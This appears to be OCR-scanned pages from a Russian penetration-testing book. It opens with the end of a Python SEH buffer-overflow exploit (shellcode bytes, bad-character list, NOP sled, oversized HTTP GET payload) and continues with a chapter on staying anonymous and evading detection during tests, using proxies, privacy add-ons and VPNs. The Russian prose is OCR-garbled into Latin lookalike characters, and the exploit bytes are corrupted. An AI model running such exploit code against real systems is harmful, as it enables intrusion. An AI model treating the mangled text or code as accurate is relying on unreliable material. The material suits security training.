shellcod += b"\xe8\x23\x54\xde\x0f\xc4\xa9\xf6\x6b\xc5\xa9"
shellcod += b"\xf6\x8d\xfa\x7f\xcf\xfb\x3d\xbc\x74\xf3\x08"
shellcod += b"\xel\xdd\x9e\x72\xb5\x1e\x8b"

#Charset for removing bad chars. 253 bytes. Bad chars \x00\xff\x20\x25\x2b\x2f\x5c
CHARSET="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\
x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x26\x27\x28\
Xx29\x2a\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\
X3F\x40\x41\x42\x43\x44\x45\x46 \x47 \x48\x49\x4a\x4b\x4c\x4d\x4e\x4F\x50\x51\x52\
x53\Xx54\Xx55\x56\x57\x58\x59\x5a\x5b\x5d\x5e\x5F\x60\x61\x62\x63\x64\x65\x66\x67\
X68\x69\x6a\x6b\x6c\x6d\x6e\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\
x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\
x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xal\xa2\xa3\
Xxa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb@\xb1\xb2\xb3\xb4\xb5\xb6\xb7\
xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xcO\xcl\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\
xcc\xcd\xce\xcf\xdo\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\
xe0\xel\xe2\xe3\xed\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xfO\xf1\xf2\xf3\
xFA\XF5\xF6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe"

# Shortjump used to jump over SHE overwrite and land into NOP sled (\x90
instructions)
SHORTJUMP=b" \x76\x09\x77\x06" ;

# final PAYLOAD construction where we use knowledge about SEH overwrite at 4065
offset

PAYLOAD=b"A" * 4061 + SHORTJUMP + b"\xca\x1b\x02\x10" + b"\x90" * 10 + shellcod
+ b"C" * 561;
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evil = Db"GET " + PAYLOAD + b" HTTP/1.1\r\n"

evil += b"Host: 10.0.0.6\r\n"

evil += b"User-Agent: Mozilla/5.0\r\n"

evil += b"Connection: keep-alive\r\n"

evil += b"Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;9=0.8\r\n"

evil += b"Accept-Language: en-us,en;q=0.5\r\n"

s.send(evil)

s.close()
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CoxpaHeHne aHOHMMHOCTU

EcJiit TocMOTpeTh Ha 3TUMOJIOTUIO TEPMUHA «aHOHUMHOCTb», B TPEYECKOM 3TO «Oe-
3BIMSIHHOCTb» WJIN <OTCYTCTBUE UMeHU». [Ipu mmpoKkoM MOHUMaHUN aHOHUMHBIM
MOKHO CYUTATD YEJI0BEKa, Ubs JMYHOCTh HaM Hem3BecTHa. Kak 1 y MHOTHX JPyTHUX
ABJIEHUH, Y aHOHUMHOCTH €CTb /IB€ CTOPOHbBI — XOpolIas U I10Xasd. Xopolias 3a-
KJTIOYAETCS B TOM, UTO, COXPAHSISt CBOI0 aHOHUMHOCTD B [J106aJIbHOIT CeTH, BBI MOJKETE
CKPBITh CBOM MHTEPECHI U TIPEAMOUTEHWUS ¥ TEM CaMbIM TOTBITAThCS U36€KaTh MO-
MaJianusd B MHGOOPMAIIMOHHDBIN 1Ty3bIPb U BO3MOKHOCTA MAaHUITYJIMPOBAHMS BAITM
MUPOBO33PEHMEM, JKeJAHUSIMU U TIOCTYTTKaMU. TeMHasi CTOpOHa aHOHUMHOCTH TTPO-
SIBJISIETCST B omyIieHnn GesHakazaHHocT. OcTaBasich aHOHUMHBIMU, HEKOTOPBIE
JIIO/TH TIO3BOJISTIOT cebe /IeIaTh TaKKe BEIIH, Ha KOTOPhIE OHU HIUKOT/Ia He OCMEJTIIHCH
61, eyt ObI UX JIMIHOCTH OblIa M3BECTHA. V1 4TO caMoe HeMPUATHOE, Yalle BCEro aTH
JeCTBUS TIPOTUBO3AKOHHDI (KaK OJIMH U3 TPUMEPOB MOKHO IIPUBECTH Pa3KUTaHHe
MEKHAIIMOHATBHON PO3HU B COITMAJIBHBIX CETSAX).

AHOHMMHOCTb NPY NPOBEAEHUN TECTOB

Ho eciu oTBjIeubcst OT 00LUIMX pacCysKACHUH, TO 3a4eM HaM MOKET IIOHAZ0OUTHCS
QHOHUMHOCTH BO BPEMSI TECTOB Ha IIPOHUKHOBEHNE?

ITepBoe — 9TO COKPHITHE CBOUX JIEHCTBUIT OT CUCTEM OOHAPYKEHUS, TPUMEHSIEMBIX
B nesieBoit VIC. Jlake eciiu BBI TPOCTO OTKPBIIH OGIIEIOCTYITHYIO CTPAHUILY aTaKy-
eMoil opraHusaIy B BaiieM Gpaysepe, ata MHMOPMAIUA COXPAHUTCS B JKypHAJIE
cepsepa. KoreuHo, Bpsij1 Jivt Bac mOCJIe 3TOr0 3a0JIOKUPYIOT, CKOPEE BCETO, ATY 3aIUCh
B0OOOIIE HUKTO He 3aMeTHT. HO Kak TOJIbKO BBI HAUHETE BECTH XOTH CKOTHLKO-HUOY/Tb
AKTWBHBIE IEHCTBU, TO 3Ta WH(pOPMAIUS cpa3y ke BCIIBIBET. BbI Jke He XOTuTe,
9TOGBI BAIIl TECT 3aKOHYIJICS, TAK TOJKOM U He HAYaBIIHCh?

B HEKOTOPBIX CJIyYasix TECTUPOBAHNE HA TIPOHUKHOBEHUE MTPOBOAUTCS €3 Tipe/Ba-
PHUTEIBHOTO YBEOMIEHUS COTPYIHUKOB KOMIAHUH. JTO JIETACTCS IS IOy YeHs
6oJiee TOUHBIX PE3YJIBTATOB, OCHOBAHHBIX HA PEAJbHOM TOBEICHUH COTPY/THUKOB
U COCTOSTHUW CHCTEMBI He30MacHOCTH. AHOHUMHOCTD B 9TOM KOHTEKCTE TIOMOTAeT
COXPAHUTD CTATYC TalHbI U IIPeAOTBPalaeT BO3MOKHOE H3MEHEHNE [TOBeIeH s UJIN
NpUHATHE Mep GE30MaCHOCTH TOJIBKO BO BPEMSI TECTUPOBAHMSL.
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Bropoe — mocTyIl K 3aKpbITBIM pecypcaM. YacTo GbIBAET, 4To JAOCTYIT MOKET ObITh
3aKPBIT MMOJb30BATEISIM, HAXOASANUMCS B oTipe/iesieHHol ctpaHe. [Ipuuem nocryn
MOZKET ObITh OTPAaHUYEH KaK CTPaHoii, B KoTopoil Haxoautcesa VIC, Tak 1 cTpaHoii, B KO-
Topoit HaxouTcs crieranuct mo B, CTout oTMeTHTh, 4TO Bac MOJKET UHTEPECOBAThH
JIOCTYII HE TOJIbKO K UH(PPACTPYKTYPE, KOTOPYIO BbI TECTUPYETE, HO U K CTOPOHHUM
pecypcaM ¢ Hy;KHBIMH BaM MHCTPYMEHTaMW WJn WH(pOpMaIne.

TpeTbe — 3allliuTa COTPY/AHNUKOB. B CJIyda€ BOSHUKHOBEHUA IOPUINIECCKUX HpO6]IeM
njin HeﬂOpaSyMeHI/Iﬁ AHOHUMHOCTD MOJKET 3alllUTUTDb 9KCIIEPTOB I10 TECTUPOBAHUIO Ha
IIPOHUKHOBEHUE OT TaAKUX IMMOTEHITNAJIbHBIX HOCJIGZ[CTBI/IfI, KaK NCKH, peIryTalluOHHbIE
PUCKHN WJIN YTOJIOBHOE TIpEC/Ie/I0OBaHNE.

ITO JIUIITH HECKOJIBLKO MPHMEPOB TOTO, JIJIST 4€TO BAM MOKET TIOHAZIOOUTHCST COXPaHSAThH
AHOHMUMHOCTB BO BpeMst paboThl. Be3ycioBHO, BaM TIPUTOJATCS He BCE MHCTPYMEH-
ThI, KOTOPbIE OIIMCAHbI HUKE, OJHAKO MMETh [IpecTaBienue 06 ux pabore Oyuer He
JIVITITHUM,

AHOHOMHOCTbL B ['no6anbHON ceTu

C aHOHUMHOCTBIO B 0OBIYHOM MUPE €TI0 00CTOUT Tipoiie. CBOKO JIMIHOCTD MbI MOJKEM
ITOJTBEPAUTD, IPEBABUB MMACIIOPT, IPOIYCK, BOAUTEIBCKOE YAOCTOBEPEHUE NN
MHOM I0KyMeHT. B unrepHere Bce c105KHee; MbI MOKEM HCII0JIb30BaTh YHUKAJIbHYIO
3JIEKTPOHHYIO MOAIUCD U1 ayTeHTU(DUKAIIMKY HAa HEKOTOPBIX pecypcax, HO TaKUX
PEeCypcoB Bce Ke MeHBITUHCTBO. Hallle /IJ11 MOATBEePsKAeHNs BallliX [IpaB 0CTyIa
UCIIOJIb3YETCS Mapa JIOTUH U I1apOJib.

Pambiire, Ha 3ape WHTEPHETA, /IUIST CO3/IAHUST YUETHOM 3AMTHCH B KaKOH-Tn60 cucTeMe
BaM JOCTATOYHO GBIIIO UMETh JIUIIE 4/IPEC HJIEKTPOHHOI MOUTHL. BbI MpUIyMbIBaH
JIOTHH U T1apPOJib, ¥ B CJIy4Yae, €U Bbl CO3/IaBAJIN TIOUTOBDBIN AIIMK TOJTBKO JIJI PEru-
CTPaIlMX Ha KOHKPETHOM pecypce, TO MOTJIM OCTaBaThCS B ONPE/eJIEHHON CTerneHn
AHOHUMHBIMU. Terrepb CUCTEMBI BCe Yallle CIPANTUBAIOT Balll HOMep TesredoHa, KoTo-
PBIif IOCTATOYHO CJIOKHO MOJIEJIATD, WJIH TIPEJIaraloT aBTOPU30BATHCS, UCTIONb3YS
Takue mopTasbl, Kak vk.com umn facebook.com, aTo aBToMaTIYecK 03HAYAET TIEpe-
Jlady BalllMX I1I€PCOHATBHBIX JIaHHbIX.

Ho ato emte e Bce. Te ske MOMCKOBBIE CUCTEMBI XOTAT 3HATH, KTO KOHKPETHO U Ha
KaKOI CaiiT 3aX0/IUT, KAKKe CTPAHWIIBI TAM TPOCMATPUBAET M CKOJIBKO BPEMEHH Ha 9TO
TpaTuT. BoJbIiast yacTh TAKUX caiiToB He TpeOyeT perucTpaiui st IPOCTOTO TIPO-
CMOTPA UX COJIEP;KIMOTO, TIOITOMY JIJIS IEAHOHMMU3AITUHN TI0JIb30BATEIST CO3/IAeTCs
€T0 YHUKAJbHbII IU(POBOIT OTIIEYATOK, OCHOBAHHBIN HA COBOKYITHOCTH MHOKECTBA
JIAHHBIX.

IIJIH CO3laHnsl YHUKAJIbHOTO ]_II/I(I)pOBOI‘O OTII€9aTKa ITIOMCKOBBIMHU CUCTEMaMU MOT'YT
OBITH UCIIOJIb30BAHBIL:

e [P-ampec. OrcnesxkuBanue 1P-agpecoB nob3oBartesieil MO3BOJSET OMPEIETUTD
reorpadnueckoe MeCTOIIOJIOKeHe U TTpoBaiiiepa mHTepHeTa. Ecam y Bac cra-
tuyeckuii my6andnbiii IP, To ero yske Oyzer JoCTaTOuHO /s UAeHTUDUKALNY;
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e unHdopMaIms 00 yCTpOUCTBE — THUIT YCTPOUCTBA, ONIEPAIMOHHAS CHCTEMA, BEPCHUST
Gpaysepa, paspelenue aKpaHa 1 Pyrue XapaKTePUCTHK;

® (pailbl cookie MOMOraioT OTCIeKUBATH TIOBEAEHHUE IT0JIb30BaTe el Ha PasJInYHbIX
cafiTax M Ceccusx, YTo MO3BOJISET JIydllle TOHUMATh MHTEPEChl 1 IPeIIOUTeHNs
110JIb30BaTeIe;

® JICTOPHUA [I0MCKA — 3AIIPOCDL, C/leJIaHHbIe [10JIb30BaTe/IeM B IOUCKOBOI crucTeMe,
AHAJMBUPYIOTCA JIJIsT ONPeJIeJIeHIs] HHTEPECcOB, HaMepeHuil 1 moTpebHocTell
MOJIb30BATEJIS;

L] I/IH(l)OpMaHI/IH O HaBUTAITUM — BPEM IMOCEMIEHMA, TN TEIbHOCTD Hpe6bIBaHI/IH Ha
caﬁTe, IIPOCMOTPEHHBIE CTPAHUIIBI U ITPOYMIE I[eﬁCTBHH I1OJIb30BaTEJIA;

[ ] BSaI/IMOJIeI';ICTBI/Ie C peK]IaMOfI — KaKHne peKJJlaMHbIe 00bABJICHU 110Ib30BaTEb
BUAUT, Ha KaKWE€ U3 HUX HAKUMAET 1 CKOJIbKO OH IIPOBO/IUT BPEMEHU 3a IIPO-
CMOTPOM pPEKJIaMBbI;

® TaHHbIEC U3 COIIMAJIbHBIX ceTeii B cJIydae, eCJju 110Jib30BaTeJIb UCIIOJIb3YET aKKayHT
COIMAJIBHON CeTn UL aBTOPU3allMM Ha IPYTUX CaﬁTaX;

® TeoJIoKalUs — JaHHbIe O TEOJIOKAIMU T10JIb30BaTesd (€CJIU OHU JIOCTYITHbI ) JIJIst
onpejiesieHUsT MECTOTIONIOKEHUST OTcaexkuBaioTes Ha ocnoBe GPS, Wi-Fi unn
COTOBOII CBSI3M.

Kak coxpaHuTb @aHOHUMHOCTb?

CylecTByeT MHOKECTBO CIIOCOOOB COXPAHUTH AaHOHIUMHOCTh. MOKHO €O3/1aTh
MPOMUIH B COMMMANBHBIX CETSIX € UCIOJIH30BAHUEM MOJIETBbHOM JINIHON nHMOpMa-
MY — yKa3aTb TPUAYMaHHOE UMSI, CTIEITNATbHO JIJIST 3TUX TIeJIeil CO3/TaHHbIN ajipec
9JIEKTPOHHON MOYTHI, CreHeprupoBaTh HeHacTosAyio dortorpaduio u 1. 1. Kpome
CO3JIaHUS TOJ/IeJIbHON JINYHOCTH, CYIECTBYIOT U JAPYTUe IIPUEMBI JIJIs1 COKPBITHS
Balllero Mectomnoyioxenus u [P-agpeca, /1715 9TOro OTJAUYHO TOAX0AAT cepBuchl VPN.

EcTh 1 MHOJKECTBO HaJICTPOEK /7ist Opaysepa, KOTOPbIe 3aTPYHSIOT cO0p MHbOpMa-
un o Bac. Tak kak B Kali Linux mo ymosuanuto ucnosbsyercs Mozilla Firefox, To
PacCMOTPHUM HECKOJIBKO TIPUMEPOB UMEHHO /LISl HETO:

e Facebook Container — HHCTPYMEHT, TPEOTBPATIAIONIII OTCIEKITBAHIE TTOTH30BA-
tesneit Facebook Bo Bpemst ux npebpiBanus Ha apyrux caiitax. Facebook Container
U30JIMPYyeT Bally akTUBHOCTD Ha Facebook ot Beeit ocTanpHoll Balieil ak THBHOCTH
B UHTEPHETE, YTO OCJAOKHAET cOOP JAHHBIX O BAC HA CTOPOHHMX CalTaX.

e Decentraleyes meiicrByer xax jokanbubiii kamr CDN (Content Delivery
Network), mpeoTBparias 3ampochl K MOMYISIPHBIM CTOPOHHUM CITy;KO6aM J10-
crasku koutenra (Google Hosted Libraries, Microsoft Ajax CDN u . z1.). JonoJ-
HEHUEe XPAHUT JIOKAJIbHbIE KOIMU MONMYJISIPHBIX Gubmorek JavaScript u gApyrux
PECypCoB, YaCcTO MCTIOTB3YIONUXCA Ha PAa3JIMYHBIX caiiTax. Korma BeI moceraere
caiiT, KOTOPBII MCIOJIb3YeT OAHY U3 3TuxX Oubmnorek, Decentraleyes mbiTaercst
3arpys3uTh JTOKATLHYIO KOITHIO PECYPCA, BMECTO TOTO YTOOBI OTIIPABIISATH 3aMPOC
k croponHemy CDN.
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e AdNauseam mmeeT CrTOCOOHOCTH ABTOMATHIECKH «KJIUKATh» Ha 3a0JIOKMPOBAH-
HBIX PEKTAMHBIX OOBSIBIEHUSAX B (QOHOBOM PEKIME. ITO CO3MAET «IITyM» JIJIST Pe-
KJIAMHBIX CeTell, 3aTPyIHSIS OTCIEKUBAHNE U CO3/IAaHNE TOYHBIX TIPOGUIIEH TI0JTh-
30BaTesieil Ha OCHOBE WX WHTEPeCcOB 1 moBeenus. Takum o6pasom, AdNauseam
3aTPYAHSIET IS peKIaMojiaTelel U CTOPOHHUX CIY:KO oTcaekuBanust c60p
nHpopMaIu o Banieil akTHBHOCTH B MHTEPHETE.

[Mpokcn-cepsepbl

[TpoKkcy 06BIYHO MCTIONB3YETCS I 0O03HAYEH S BBITIOJHEHNS IEHCTBUIT OT UMEHU
Koro-to niau yero-to. B U'T nmpokcn MOKHO paccMaTpuBaTh Kak IIPOMeKYyTOUHOE 3Be-
HO, KOTOPOE TIePEChLIAET OTIPABJICHHBIC NCTOYHUKOM 3aIIPOCKHI K MECTY Ha3HAYCHUS,
MOJIy4aeT OTBETHI U OTIPABJISIET UX OOPATHO K MCTOUYHUKY.

ITO OJIHO U3 TTUPOKO UCIOJIB3YEMBIX PEIICHU JIJist 0OeCcTieYeHrsT aHOHUMHOCTH.
ExvracTBeHHAS TPUYMHA UCTIOIB30BAHMS TIPoKcH — cokpeitre [P-anpeca. Cye-
CTBYIOT Pa3IUuUHbIE PEIICHUS /sl OPTaHU3aIl[HU TPOKCH, TaKie Kak BeO-TPOKCH,
arirapaTHbI€ ITPOKCU 1 T. [I. B ux ocrose BCerga JIEKUT IMTPUHITAIL TIEPEHAITPaBJICHUA
TpaduKa K MecTy HazHaueHus ¢ pyroro [P-anpeca. VI XoTs TpoKcH MOXKET UCTIOIh-
30BaThCS JIJIT MHOKECTBA JIPYTUX TieJiell, KpoMe aHOHUMHOCTH, MBI COCPE/IOTOUNMCS
TOJTbKO Ha 3TOU 11eJIN.

MNpobnembl 6e30nacHoOCTH

BosMmoskHbI pasHble ypOBHM aHOHUMHOCTH Ha OCHOBE Pa3JIMYHBIX TPOKCU-PEIIeHUI.
Hexkoropblie mpokcH IpoCcTo CKPBIBAIOT BAIIX IAHHBIE, COXPAHS BCe BalllU JICHCTBUS
B CBOUX sKypHayIax. MeTojibl 00Hapy KEHUsT MCIOTb30BAHUS TPOKCU-CEPBEPOB YACTO
MO3BOJISTIOT OGHAPYIKHUTh, UCTIOJIB3YET MOJIb30BATEIb TPOKCH-CEPBEP UITU COC/IUHSIET-
cs ¢ IC nanpsamyto. CTOUT y4ecTb, 4TO IIPOKCHU-CEPBEP — 3TO He Jiyylliee pelleHune,
€CJIM BbI XOTUTE OBITH YBEPEHBI B IOCTATOUHOM COKPBITHH CBOUX MaHHbIX. KoHeuno,
CYIIECTBYIOT CHCTEMBI, KCTIOJIb30BAHUE KOTOPHIX HE OGHAPYKIUBACTCS, CUCTEMBI, KO-
TOpPBIE He XPAHAT JAHHBIE O BANUX JCHCTBUAX, 1 T. 1. [Togxoaure K BEIGOPY MPOKCH
€ OCTOPO’KHOCTBIO.

Google

Google stBisteTcst He TOJBKO TOIYJISIPHON MOUCKOBO# CHCTEMOM, €T0 TaKiKe MOKHO
HCIOJIb30BaTh B KaueCTBe POKCH ¢ oMotibio pyHkimn Google Translate. Cepsuc
Google Translate mosBosisier unTath BeO-KOHTEHT Ha JIFOOOM SI3BIKE 110 BHIOOPY TI0JIb-
soBareJist. st nepeBozia HeoOxoaumo BBecTu URL cTpaHUIbI B TIEPBOE TI0JIE, 2 3aTEM
Ha)KaTh Ha CTEHEPUPOBAHHYIO CEPBUCOM CCBLIKY B cOCeIHEM OKHe. [IpomeMoHcTpu-
pyem ato Ha ipumepe carita [PLocation.net u [PLocation.com. Ero ocHoBHOI 3a71a-
Yyelt, Kak MOKHO TTOHSTh U3 Ha3BaHUs, ABJIeTCS packpbiTre Hamiero [P-agpeca. [ls
HAayaJia MbI OTKPOEM aTOT cailT Harpsimyto (puc. 16.1), a satem — ucnosbsyst Google
Translate (puc. 16.2 u 16.3).
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Puc. 16.3. iHdopmauus c IPLocation.com, nonyyeHHas vepe3 Google Translate

Taxum 06pazoM, ¢ IOMOLIBIO ATOH (PYHKIMK MOXKHO UCIIOIb30BaTh cepep Google
TSI TIEPECHIIKH 3a1TPOCa M TTOJIyYeHUS OTBETA OT €T0 MMEHHU, UTO U SABJISETCS OCHOB-
HOI ujieeli TPOKCH.

Besycii0BHO, NOKa3aHHbLIL METOJL He SIBJISIETCS CaMbIM YII00HBIM, OZIHAKO XOPOILO 00b-
sicHsIeT PaboTy MPOKCH U JIEMOHCTPUPYET TO, KaK MOKHO MCIIOJIb30BaTh U3BECTHBIE
¥ TIPUBBIYHBIE BEIN JI7IT He COBCEM CTAaHIAPTHBIX JIeCTBUNA.

Tunbl NpOKCU-CEPBEPOB

ITporpamMMHBIe IPOKCH-CEPBEPBI TIPEICTABIISIIOT c000i camocTositesibHoe 110, Ko-
TOPOE MOXKHO MHCTAJIJINPOBATD U UCTIOJIB30BATh HA CBOEM KOMITBIOTEPE.

Ultrasurf — a10 GecriaTnoe nporpaMmHoe obecriederue st 00X0/1a MHTePHET-1[eH-
3yPHI U 06eCTIeueHnsT aHOHUMHOCTH TIPU TTPOCMOTPE BeG-cTpanuil. M3HavaibHO pas-
pa6orannasg B 2002 roxy rpyinoil guccuaenTos us Kuras, aTa mporpamma o3BoJisieT
06XO/IUTh YCTAHOBJICHHBIE TPABUTENCTBEHHBIMU OPraHU3AIUSAME UM HHTEPHET-
npoBaiilepaMu OrpaHUYEHUS JOCTYTIA K ONpe/esieHHbIM caiitam. Tlociie 3amycka
Ultrasurf coennHsiercst ¢ pOKCH-cepBepaMi, KOTOPbIe 00eCeunBaOT (M POBaHIe
JIAHHBIX 1 aHOHMMHOCTb TI0JIb30BaTEIsl. DTO CO3/IAET OIPEIe/ICHHbBIE CJI0KHOCTH TIPH
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OTCJIE;KMBAHNUN OHJIATH-aKTUBHOCTH. HpI/I ncrnoab3oBadun 3Toro 11O B CKPbIBA€TEC
Ipeskae BCEro CBoe MECTOIIOJIOKEHNE 1 IP-aI_[pec.

OnHako cjielyeT OTMETUTBD, UTO Ultrasurf xora u COXpaHsAeT aHOHMMHOCTD B OIpejie-
JIEHHOT cTeneHu, He 06ecednBaeT Takoro ypoBHs Oesonactoctu, kak Tor mwin VPN,
U Bce ke miist 06X0/1a MHTEPHET-I[EH3YPHI U 0becTieueHust 6az0BOil aHOHUMHOCTH
Ultrasurf noaxoaur kak mpocToe u A0CTYIIHOE PelieHue.

JonDo, tak:xe uzsectnas kak JAP (Java Anon Proxy) wiu JonDonym, — aTo ipo-
rpaMMHOe obecTevenne, MO3BOISIONIee OTHOCUTETBHO AHOHIMHO 1 (€30TacHo
MOJTH30BATHCS PABTUYHBIME pecypcaM [o6ambHO ceTr. ITO TPOKCU-CHCTEMA
C OTKPBITBIM MCXOAHBIM KOJOM, OCHOBaHHAas HA IMPUHIIUIIE CMEIIaHHBIX CceTeil
(mix network), B KoTopoii TpaduK 110JIb30BaTE IS IIPOIYCKAETCS Yepe3 HECKOJIbKO
MPOKCU-CEPBEPOB (CMENTMBAETCsT), YTOOBI CKPBITH €ro UCTUHHBIN [P-azpec u Me-
CTOTIOJIOJKEHUE.

JonDo Hanucana Ha sI3bIKe Java, 4To obecrnedrBaeT KpocciiaThopMeHHOCTb
U TI0O3BOJISIET MCITOJIB30BATh €€ B PA3JIMYHBIX OTIEPAIIMOHHBIX CUCTEMAaX, TAKUX
kax Windows, macOS u Linux. Cucrema JonDonym UcII0/Ib3yeT MHOIOYPOBHE-
BYIO CUCTEMY CMENIMBAHUS, B KOTOPO# TpahuK MOJb30BATENST TIEPEIAETCS Yepes
HECKOJIbKO TIPOMEKYTOUHbIX cepBepoB (Mixes). ITo senaer ujeHTUGUKAIIIIO
noJib3oBaresieit 1o ux [P-agpecam kpaiine cioxnoii. Kax/abiii cepBep B 1ie1iouke
3HAET TOJIBKO TIPEAbIAYIIII U CJeAYIONIIiT y3er, 4To obeciieurnBaeT IIPUBaTHOCTh
MOJTh30BATEISI.

OpHaKO BaXKHO OTMETUTB, uTO JonDo mpeiaraeT orpaHUYeHHOE KOJUYECTBO Oec-
IJIATHBIX TIPOKCU-CEPBEPOB € OTPAHUUEHHON TPOITYCKHOU criocobHOCTbIO. [lJist 110-
cTyma K 60Jtee GBICTPBHIM U HAIESKHBIM CEPBEPAM TTOTB30BATEIH OJKHBI TPHOGPECTH
IPEMUYM-TIOITUCKY.

Be6-npoken — camblil IIPOCTOI, HO He 04eHb YAOOHBII criocod obecredenns aHo-
HUMHOCTH. [JIaBHOE ITPENMYIIECTBO BEO-IIPOKCH 3aKTIOUAETCST B TOM, YTO X MOKHO
HCII0JIb30BaTh Bejie, 6e3 He0OXOAMMOCTH HACTPOUKH 1 MIPUBSI3KH K ONIPE/IETIEHHOMY
ITO. [TocTaTouHO TONBKO OTKPBITH Opay3ep, BBECTH a/[pec MPOKCU-CEPBEpa 1 yKasaTh
HEOOXOIMMBII J1JIs1 aHOHUMHOTO TocerieHust pecype. OiHaKo, Kak yike ObLIo CKasaHo,
IIPOCTOTY UCIIOJIb30BAHUS TIEPEBENINBAET OTPAHIMYEHHOCTD (DYHKI[MOHAIA.

CyliecTByeT MHOKECTBO BADHAHTOB Peain3aliiy BeO-TIPOKCH; OJ[HU U3 HUX TIPE/IHA-
3HAYEHBI TOJBKO /TSI TPOCMOTPA CTPAHMUIL, IPYTHE JKe MPEFOCTaBISIIOT BOSMOKHOCTD
OTPaBKH COOOTIEHW U YTE€HUST HOBOCTHBIX JIEHT.

B kauectBe nipumepa Be6-mipokcu MoskHo npusectn HideMyAss. HideMyAss, co-
kparteano HMA, 6b11 ocHoBat B 2005 TO/y 1 ¢ T€X MOP CTaJI OJHUM W3 TIOMYJISTPHBIX
npokcu-ceprcoB 1 VPN-11poBaiiiepoBs, peiaraoimM mMoab30BaTesIM YCIYTH 110
obecTieueHn o aHOHUMHOCTH 1 GesomnacHocTr B nHTepHeTe. HMA MoKeT coXpaHsITh
HEKOTOPbIe JaHHbIE O CBOMX I10JIb30BATEJISIX U UX COEINHEHMX, UTO BbI3bIBAET OIIpe-
JIeJIeHHbIE OTIACEHUs B OTHOIIEHUH puBaTHOCTH. Ho /171st 60/IBIIMHCTBA TTOJIb30BaTe-
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Jieii, KOTOPBIM HY’KHa TPOCTas U HaJlesKHast aHOHUMHOCTH B nHTepHere, HideMyAss
SIBJIsIETCs YIOOHBIM U HOIYJIAPHBIM petnerueM (puc. 16.4).

HMA esmaboutima +  pricing  HMAApps v Business GET73% OFF My Account  Help

in the World with the HMA Free Proxy

The simple way to hide your IP and browse anonyrmously

@ Site you want to access

Try https/fvww.hidemyass.com/en-eu/p-proxy-no-ur

9 Connect through server

Random server ~

£ More options v

By clicking Agree & Connect you confirm you have read and agree to HMA's Privacy Policy.
End User License Agreement and Acceplable Use Policy wiich govern your use of the HMA!
Web Proxy.

Please nate that due to its nature this tool cannot guarantes the proper funcrionality of the
wisated websites, including the possibility of displaying or processing of personal information
that would be otherwise not visible on the website: By continuing to use this 1ol you
acknowledge thas rsk.

Agree & Connect

Puc. 16.4. Be6-uHtepdeiic npokcu-cepsepa HMA
(https://www.hidemyass.com/en-eu/proxy)

Cy1iecTByeT MHOJKECTBO CAalTOB, KOTOPBIE TIPEJIOCTABJISIOT a/IPeCa OTKPBITHIX MPOK-
cu-cepsepos (puc. 16.5), Tounee, IP-agpec u HopT; OJHAKO yYTUTE, YTO 1OAOOD
paboTaoIero MPOKCH MOJKET 3aHSATh HEKOTOPOE BPeMs. ITO CBA3AHO C TEM, UTO
CTIUCKY CEPBEPOB OOHOBIISIIOTCS He TaK YaCTO, KAK XOTeN0Ch OBI, a TAKKE C TEM, UTO
CTabMIILHYIO U TTOCTOSTHHYTO PabOTy cepBepa HUKTO He TapaHTHPYeET.

OmHuUM U3 CaiiTOB, HA KOTOPOM BbI MOYKETE HANTH CIIUCOK IPOKCU-CEPBEPOB, SIBJIS-
ercst Geonode (https://geonode.com/free-proxy-list). Ero ocHoBHOe penmyIinecTBo —
IPEIOCTABIIEHNE PETYIISIPHO 06HOBIIsIEMOTO cricka [P-ampecos, a Takike oTo6paske-
HUe Ha3BaHUS JIOKAIMH, CKOPOCTH, IOCTYITHOCTH U IPYTUX MX TApaMeTPOB.

[Tocse BBIGOPA cepBepa, KOTOPHBIIT BBl XOTUTE MCIIOJIB30BATh, BAM HEOOXOIMMO TIPO-
nucarhb ero B csoeM Opaysepe. [aa Mozilla Firefox nactpoiiku nmpokcu-cepsepa
Haxo/ATCs B pasjiesie Settings » Network Settings » Connection Settings (puc. 16.6).
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Free Proxy List

47 Minutes ago 84mM

LLIMITED TIME OFFER Say hello to Unlimited Residential Proxies! Try Unlimited Data for 7 days for only $1

alect country
Lood presties through a URL Export Est ot

https://proxylist.geonode.com/api/proxy-list?limit=5688page=18s | JSON | TXT CSV

WP ADDRESS COUNTRY  PROTOCOLS  ANONYMITY CRG & ASH

186.251.248.15 E BR SOCKS4 Elite (HIA) 267513 Seanct Tele
3.2.136.37 = N SOCKS4 Elite (HIA) 4549981 WorldStrean
197.234.73.4 SOCKSA Elite (HIA) AS36%982 Intelvision

163.258.148.82 Elite (HIA) AS45916 Gtpl Broadb:

Puc. 16.5. Cnncok npokcn-cepsepos

Connection Settings X

Configure Proxy Access to the Internet
) No proxy

() Auto-detect proxy settings for this network
() Use system proxy settings

© Manual proxy configuration

HTTF Proxy . 186.251.248.15 P
B Also use this proxy for HTTPS
HTTPS Proxy  186.251.248.15 Part 31337
SOCKS Host Port . 0
(0 SOCKS vd D SOCKS v5
) Automatic proxy configuration URL
Reload

Mo proxy for

w

Puc. 16.6. Hactpoiiku npokcu-cepsepa B Mozilla Firefox
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BupTyanbHble yactHble cetn (VPN)

VPN (Virtual Private Network, BupTyaibHast yacTHast C€Th) — 3TO TEXHOJOTHS,
MO3BOJISAIONIAST CO3/IABATh OE30TIACHOE COEIMHEHNE MEKY YCTPOICTBAMY WJIH Ce-
Tamu yepes wHTepHeT. VPN obecnieunBaeT 6e30MacHOCTD, KOHMUICHIIMATHHOCTD
U aHOHUMHOCTB, MUGPYs epeaBaeMble JaHHble U CKPbIBasi peaybHblil [P-anpec
MOJIb30BATEJIS.

